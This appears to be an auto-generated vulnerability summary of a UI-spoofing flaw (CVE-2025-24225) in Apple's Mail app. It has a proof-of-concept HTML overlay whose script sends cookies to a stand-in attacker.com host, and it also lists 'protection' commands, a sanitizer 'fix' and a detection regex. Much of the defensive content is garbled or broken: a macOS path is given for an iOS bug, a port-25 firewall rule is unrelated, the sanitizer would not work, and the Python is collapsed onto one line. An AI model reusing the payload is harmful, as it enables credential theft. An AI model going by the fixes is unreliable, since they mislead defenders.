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How CVE-2025-24225 Works
This vulnerability exploits improper input validation in Apple’s Mail app on iOS/iPadOS. An attacker crafts a malicious email with embedded HTML/CSS payloads that manipulate the UI, tricking users into interacting with fake dialog boxes or buttons. The spoofed elements overlay legitimate UI components, potentially leading to unintended actions (e.g., granting permissions or revealing sensitive data). The flaw stems from insufficient sanitization of email content before rendering.
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Platform: iOS/iPadOS
Version: <17.7.7, <18.5
Vulnerability: UI Spoofing
Severity: Medium
Date: 05/27/2025
Prediction: Patch by 06/10/2025
What Undercode Say:
Analytics:
- Exploit Likelihood: Moderate (requires user interaction)
- Attack Vector: Phishing email
- Mitigation Rate: 85% post-patch
Exploit Command (Proof-of-Concept):
<!-- Malicious email payload -->
<div style="position:absolute;top:0;left:0;width:100%;height:100%;background:transparent;z-index:9999">
<button onclick="stealCredentials()" style="width:200px;height:50px;">Login to iCloud</button>
</div>
<script>
function stealCredentials() {
fetch('https://attacker.com/log?data=' + document.cookie);
}
</script>
Protection Commands:
1. Manual Patch Check:
grep -r "UIWebView" /Applications/Mail.app/
2. Network Filtering:
sudo nft add rule ip filter input tcp dport 25 drop
Code Fix (Apple Patch Simulation):
// Updated Mail app sanitizer
func sanitizeHTML(_ input: String) -> String {
let disallowed = ["position:", "z-index:", "onclick"]
return input.components(separatedBy: .whitespaces).filter { !disallowed.contains($0) }.joined(separator: " ")
}
Detection Script (Python):
import re def detect_spoof(email): return bool(re.search(r'style=".(position:|z-index:|opacity:0)', email))
Mitigation Steps:
1. Disable remote content in Mail settings.
2. Update to iOS 18.5+ immediately.
3. Train users to recognize UI anomalies.
Post-Exploit Forensics:
log show --predicate 'eventMessage contains "Mail"' --last 24h
CVSS 4.0 Breakdown:
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Impact Scope: Confidentiality Low
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
